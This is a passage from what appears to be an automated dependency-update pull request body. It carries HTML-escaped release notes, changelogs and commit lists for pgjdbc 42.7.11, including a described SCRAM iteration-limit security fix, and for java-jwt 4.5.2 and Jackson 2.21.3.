\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3926\"\u003e#3926\u003c/a\u003e \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3956\"\u003e#3956\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate docker scripts  \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3958\"\u003e#3958\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eimplement require_auth, this is pretty much how libpq does this.  \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3895\"\u003e#3895\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003edocs: add SCRAM authentication test setup section to TESTING.md \u003ca href=\"https://github.com/emmaeng700\"\u003e\u003ccode\u003e@​emmaeng700\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3945\"\u003e#3945\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd RequireServerVersion annotation for tests \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3939\"\u003e#3939\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e🐛 Bug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: ensure extended protocol messages end with Sync message \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3728\"\u003e#3728\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: enable cursor-based fetching in extended protocol when transaction started via SQL command \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3996\"\u003e#3996\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: retry with SSL on IOException when sslMode=ALLOW \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3973\"\u003e#3973\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: allow fallback to non-SSL connection when sslMode=prefer and sslResponseTimeout kicks in \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: catch SecurityException from setContextClassLoader on ForkJoinPool workers \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3962\"\u003e#3962\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: use compareTo for LogSequenceNumber comparison \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3961\"\u003e#3961\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: release COPY lock on IOException to prevent connection hang (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3957\"\u003e#3957\u003c/a\u003e) \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3960\"\u003e#3960\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e🧰 Maintenance\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003estyle: replace \u003ca href=\"https://github.com/exception\"\u003e\u003ccode\u003e@​exception\u003c/code\u003e\u003c/a\u003e with \u003ca href=\"https://github.com/throws\"\u003e\u003ccode\u003e@​throws\u003c/code\u003e\u003c/a\u003e in getBoolean javadoc \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4035\"\u003e#4035\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use \u003ccode\u003e@​vlsi/github-actions-random-matrix\u003c/code\u003e npm package \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4008\"\u003e#4008\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use tag names for pinning github actions, pin ikalnytskyi/action-setup-postgres \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4007\"\u003e#4007\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: bump errorprone to 2.48.0 \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4005\"\u003e#4005\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: add \u003ca href=\"https://github.com/DisableLogger\"\u003e\u003ccode\u003e@​DisableLogger\u003c/code\u003e\u003c/a\u003e annotation to suppress expected log warnings in tests \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3971\"\u003e#3971\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: suppress deprecations in test code to reduce build verbosity \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3972\"\u003e#3972\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: replace log warning in ConnectionFactory.closeStream with Throwable.addSuppressed \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3970\"\u003e#3970\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use greedy pairwise coverage for CI matrix generation \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3965\"\u003e#3965\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use full version tags in GitHub Actions comments \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3963\"\u003e#3963\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e⬆️ Dependencies\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pgjdbc/pgjdbc/blob/master/CHANGELOG.md\"\u003eorg.postgresql:postgresql's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[42.7.11] (2026-04-28)\u003c/h2\u003e\n\u003ch3\u003eSecurity\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: Limit SCRAM PBKDF2 iterations accepted from the server.\npgjdbc was vulnerable to a client-side denial of service in SCRAM-SHA-256 authentication, where a malicious or compromised PostgreSQL server could specify an extremely large PBKDF2 iteration count, causing the client to consume unbounded CPU and potentially exhaust connection pools. The fix introduces a new scramMaxIterations connection property (defaulting to 100,000) to cap iteration counts before computation begins.\nSee the \u003ca href=\"https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-98qh-xjc8-98pq\"\u003eSecurity Advisory\u003c/a\u003e for more detail.\nThe following \u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-42198\"\u003eCVE-2026-42198\u003c/a\u003e has been issued.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efeat: implement require_auth connection property, aligning with libpq behavior [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3895\"\u003e#3895\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3895\"\u003epgjdbc/pgjdbc#3895\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003echore: replace Appveyor CI with ikalnytskyi/action-setup-postgres [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3966\"\u003e#3966\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3966\"\u003epgjdbc/pgjdbc#3966\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: upgrade Gradle to v9 [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3978\"\u003e#3978\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3978\"\u003epgjdbc/pgjdbc#3978\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: ensure extended protocol messages end with Sync message [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3728\"\u003e#3728\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3728\"\u003epgjdbc/pgjdbc#3728\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: enable cursor-based fetching in extended protocol when transaction started via SQL command [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3996\"\u003e#3996\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3996\"\u003epgjdbc/pgjdbc#3996\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: retry with SSL on IOException when sslMode=ALLOW [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3973\"\u003e#3973\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3973\"\u003epgjdbc/pgjdbc#3973\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: make sure the driver honours connectTimeout when retrying the connection [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3968\"\u003epgjdbc/pgjdbc#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: allow fallback to non-SSL connection when sslMode=prefer and sslResponseTimeout kicks in [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3968\"\u003epgjdbc/pgjdbc#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: catch SecurityException from setContextClassLoader on ForkJoinPool workers [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3962\"\u003e#3962\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3962\"\u003epgjdbc/pgjdbc#3962\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: use compareTo for LogSequenceNumber comparison to handle unsigned values correctly [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3961\"\u003e#3961\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3961\"\u003epgjdbc/pgjdbc#3961\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: release COPY lock on IOException to prevent connection hang [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3957\"\u003e#3957\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3957\"\u003epgjdbc/pgjdbc#3957\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: return jsonb as PGObject instead of String [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3956\"\u003e#3956\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3956\"\u003epgjdbc/pgjdbc#3956\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: align SSL key file permission check with libpq [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3952\"\u003e#3952\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3952\"\u003epgjdbc/pgjdbc#3952\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: guard connection closed flag with a reentrant lock to protect against concurrent close [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3905\"\u003e#3905\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3905\"\u003epgjdbc/pgjdbc#3905\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/78e261ff2a7f16a37bdceb2204f67e484387da2f\"\u003e\u003ccode\u003e78e261f\u003c/code\u003e\u003c/a\u003e fix: Add sources and javadocs to shaded published lib generation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/1e09fa0496377296c9e2ef3bfd2b409945fba17a\"\u003e\u003ccode\u003e1e09fa0\u003c/code\u003e\u003c/a\u003e update Changelog and website for release of 42.7.11 (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4042\"\u003e#4042\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/d479fa5b8c8c915a441ce1f2448f69f23dd0b66c\"\u003e\u003ccode\u003ed479fa5\u003c/code\u003e\u003c/a\u003e Fix scram fix location in changelog and update published artifact developer l...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/b04fc46af6c207bc7ce9e788fea8c43d18b73d0f\"\u003e\u003ccode\u003eb04fc46\u003c/code\u003e\u003c/a\u003e docs: Add scram max iters fix to changelog\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/cf548225b4078db954765339720ffdf3bc94e5a6\"\u003e\u003ccode\u003ecf54822\u003c/code\u003e\u003c/a\u003e test: Disable scram test on older version without scram_iterations GUC\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/7dbcc79b2b4adf7b71458c9434d2c43cec7713b9\"\u003e\u003ccode\u003e7dbcc79\u003c/code\u003e\u003c/a\u003e test: Add SCRAM max iteration tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/c9d41d1332a7426fcef19ff89f2e6b1116429143\"\u003e\u003ccode\u003ec9d41d1\u003c/code\u003e\u003c/a\u003e fix: Limit SCRAM PBKDF2 iterations accepted from the server\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/a340cb2b0ae24c0d98ad9dec569200ebb704d6aa\"\u003e\u003ccode\u003ea340cb2\u003c/code\u003e\u003c/a\u003e style: replace \u003ca href=\"https://github.com/exception\"\u003e\u003ccode\u003e@​exception\u003c/code\u003e\u003c/a\u003e with \u003ca href=\"https://github.com/throws\"\u003e\u003ccode\u003e@​throws\u003c/code\u003e\u003c/a\u003e in getBoolean javadoc\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/77837f80c0c20a9f33f9e21b091f4d4552f8e753\"\u003e\u003ccode\u003e77837f8\u003c/code\u003e\u003c/a\u003e fix(deps): update dependency org.openrewrite.rewrite:org.openrewrite.rewrite....\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/23af03bc839af5217ea141946ae41e648264061c\"\u003e\u003ccode\u003e23af03b\u003c/code\u003e\u003c/a\u003e chore(deps): update actions/checkout action to v6\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/pgjdbc/pgjdbc/compare/REL42.7.10...REL42.7.11\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `com.auth0:java-jwt` from 4.5.1 to 4.5.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/auth0/java-jwt/releases\"\u003ecom.auth0:java-jwt's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e4.5.2\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eAdded\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eChore: Bump update commons-beanutils dependency \u003ca href=\"https://redirect.github.com/auth0/java-jwt/pull/761\"\u003e#761\u003c/a\u003e (\u003ca href=\"https://github.com/tanya732\"\u003etanya732\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eChore: Update Readme with Java 21 \u003ca href=\"https://redirect.github.com/auth0/java-jwt/pull/760\"\u003e#760\u003c/a\u003e (\u003ca href=\"https://github.com/tanya732\"\u003etanya732\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/auth0/java-jwt/blob/master/CHANGELOG.md\"\u003ecom.auth0:java-jwt's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/auth0/java-jwt/tree/4.5.2\"\u003e4.5.2\u003c/a\u003e (2026-04-29)\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/auth0/java-jwt/compare/4.5.1...4.5.2\"\u003eFull Changelog\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eAdded\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eChore: Bump update commons-beanutils dependency \u003ca href=\"https://redirect.github.com/auth0/java-jwt/pull/761\"\u003e#761\u003c/a\u003e (\u003ca href=\"https://github.com/tanya732\"\u003etanya732\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eChore: Update Readme with Java 21 \u003ca href=\"https://redirect.github.com/auth0/java-jwt/pull/760\"\u003e#760\u003c/a\u003e (\u003ca href=\"https://github.com/tanya732\"\u003etanya732\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/auth0/java-jwt/commit/695fd2bea64b8466b872a9d0c2e7019fee7ac86f\"\u003e\u003ccode\u003e695fd2b\u003c/code\u003e\u003c/a\u003e Release 4.5.2 (\u003ca href=\"https://redirect.github.com/auth0/java-jwt/issues/765\"\u003e#765\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/auth0/java-jwt/commit/4ac31787e2bb264d346ddb51b54ce4893d51eb18\"\u003e\u003ccode\u003e4ac3178\u003c/code\u003e\u003c/a\u003e Release 4.5.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/auth0/java-jwt/commit/d056a79e402d6d6c667a1d5fe9233dd87240da1c\"\u003e\u003ccode\u003ed056a79\u003c/code\u003e\u003c/a\u003e Bump com.fasterxml.jackson.core:jackson-databind from 2.21.2 to 2.21.3 in /li...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/auth0/java-jwt/commit/37f195a954cce32abd4b4eb212e8b7695781c2bb\"\u003e\u003ccode\u003e37f195a\u003c/code\u003e\u003c/a\u003e Bump com.fasterxml.jackson.core:jackson-databind in /lib\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/auth0/java-jwt/commit/dba4c93e2ef37b82b45776d41f8dcbc24df8335a\"\u003e\u003ccode\u003edba4c93\u003c/code\u003e\u003c/a\u003e Chore: Bump update commons-beanutils dependency (\u003ca href=\"https://redirect.github.com/auth0/java-jwt/issues/761\"\u003e#761\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/auth0/java-jwt/commit/84d4c8f383ae7c06e0e53f5bd7d84324ad3bcad9\"\u003e\u003ccode\u003e84d4c8f\u003c/code\u003e\u003c/a\u003e Merge branch 'master' into chore/bump-commons-beanutils\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/auth0/java-jwt/commit/5c923d4981ba39c18d530ba3e155c314b6cfd4e1\"\u003e\u003ccode\u003e5c923d4\u003c/code\u003e\u003c/a\u003e Chore: Add SCA scan workflow (\u003ca href=\"https://redirect.github.com/auth0/java-jwt/issues/762\"\u003e#762\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/auth0/java-jwt/commit/09a4da58242a52bd937c7ac1b2914adc8a80e73c\"\u003e\u003ccode\u003e09a4da5\u003c/code\u003e\u003c/a\u003e Merge branch 'master' into chore/add-sca-scan\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/auth0/java-jwt/commit/ef47e64ba46e5bb39abc68ddbfcd49f61cac4ec7\"\u003e\u003ccode\u003eef47e64\u003c/code\u003e\u003c/a\u003e Chore: Add SCA scan workflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/auth0/java-jwt/commit/3fcfbcb3bed8a66ddb37be63bb3cfea7b873312b\"\u003e\u003ccode\u003e3fcfbcb\u003c/code\u003e\u003c/a\u003e Chore: Bump update commons-beanutils dependency\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/auth0/java-jwt/compare/4.5.1...4.5.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `com.fasterxml.jackson.core:jackson-databind` from 2.21.2 to 2.21.3\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/FasterXML/jackson/commits\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `com.fasterxml.jackson.core:jackson-core` from 2.21.2 to 2.21.3\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/5815636064ca5f5f2f5af0a91c7ad96368c239e7\"\u003e\u003ccode\u003e5815636\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-core-2.21.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/6e728f9bde605f98e34d67d5db0a1b530b0a9bfd\"\u003e\u003ccode\u003e6e728f9\u003c/code\u003e\u003c/a\u003e Prep for 2.21.3 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/4e30cf21ca4faeffa062ae13730fade890ce2540\"\u003e\u003ccode\u003e4e30cf2\u003c/code\u003e\u003c/a\u003e Merge branch '2.20' into 2.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/1429fffeca1eee24d7c3d7a0887c5ac10cac7a58\"\u003e\u003ccode\u003e1429fff\u003c/code\u003e\u003c/a\u003e Merge branch '2.19' into 2.20\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/8f622c5cf177509989eaa154e4cb86d64b28f5a6\"\u003e\u003ccode\u003e8f622c5\u003c/code\u003e\u003c/a\u003e Merge branch '2.18' into 2.19\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/cd4d6b2baf575fd84419368717ddf12eb21fc8d7\"\u003e\u003ccode\u003ecd4d6b2\u003c/code\u003e\u003c/a\u003e Post-release dep version bump\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/03458823cc3cf78f1ea19cfe5f045475628ee834\"\u003e\u003ccode\u003e0345882\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare for next development iteration\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/a7a5562c0215da3e1297e4825fc5fc4d4f237c68\"\u003e\u003ccode\u003ea7a5562\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-core-2.18.7\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/cd647ea2cf15ee7740f1e3eb447335f667dd3a7a\"\u003e\u003ccode\u003ecd647ea\u003c/code\u003e\u003c/a\u003e Prep for 2.18.7 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/0ac2f771ad5fdceb60f908352c4dee2ffa498146\"\u003e\u003ccode\u003e0ac2f77\u003c/code\u003e\u003c/a\u003e Update release notes\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/FasterXML/jackson-core/compare/jackson-core-2.21.2...jackson-core-2.21.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `com.fasterxml.jackson.datatype:jackson-datatype-jsr310` from 2.21.2 to 2.21.3\n\nUpdates `com.fasterxml.jackson.module:jackson-module-jakarta-xmlbind-annotations` from 2.21.2 to 2.21.3\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/3290598ecbbd8bbb0b34a35a7361ff54e1050463\"\u003e\u003ccode\u003e3290598\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-modules-base-2.21.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/ff548e5773b62aef719c2104ecfccbe70dadcedc\"\u003e\u003ccode\u003eff548e5\u003c/code\u003e\u003c/a\u003e undo version bump\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/1c5c59c5a3fc09a17d1027879ebca459842cda8e\"\u003e\u003ccode\u003e1c5c59c\u003c/code\u003e\u003c/a\u003e re-do release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/64b246c236e6d424eb4469131bbd76c3056dc2a3\"\u003e\u003ccode\u003e64b246c\u003c/code\u003e\u003c/a\u003e Prep for 2.21.3 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/38be1635960bed69c4f52bfbbdd3297447bd7506\"\u003e\u003ccode\u003e38be163\u003c/code\u003e\u003c/a\u003e Merge branch '2.20' into 2.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/b3506d8b74b64a5f7e3f5884df8e5246f1c03bf0\"\u003e\u003ccode\u003eb3506d8\u003c/code\u003e\u003c/a\u003e Merge branch '2.19' into 2.20\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/2f51aa35660e9af07415c54b6bc8185622d91288\"\u003e\u003ccode\u003e2f51aa3\u003c/code\u003e\u003c/a\u003e Merge branch '2.18' into 2.19\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/88adb497be38f7b4de3cbcd49ec8d641933214ce\"\u003e\u003ccode\u003e88adb49\u003c/code\u003e\u003c/a\u003e Post-release dep version bump\u003c/li\u003e\n\u003cli\u003e\u003ca 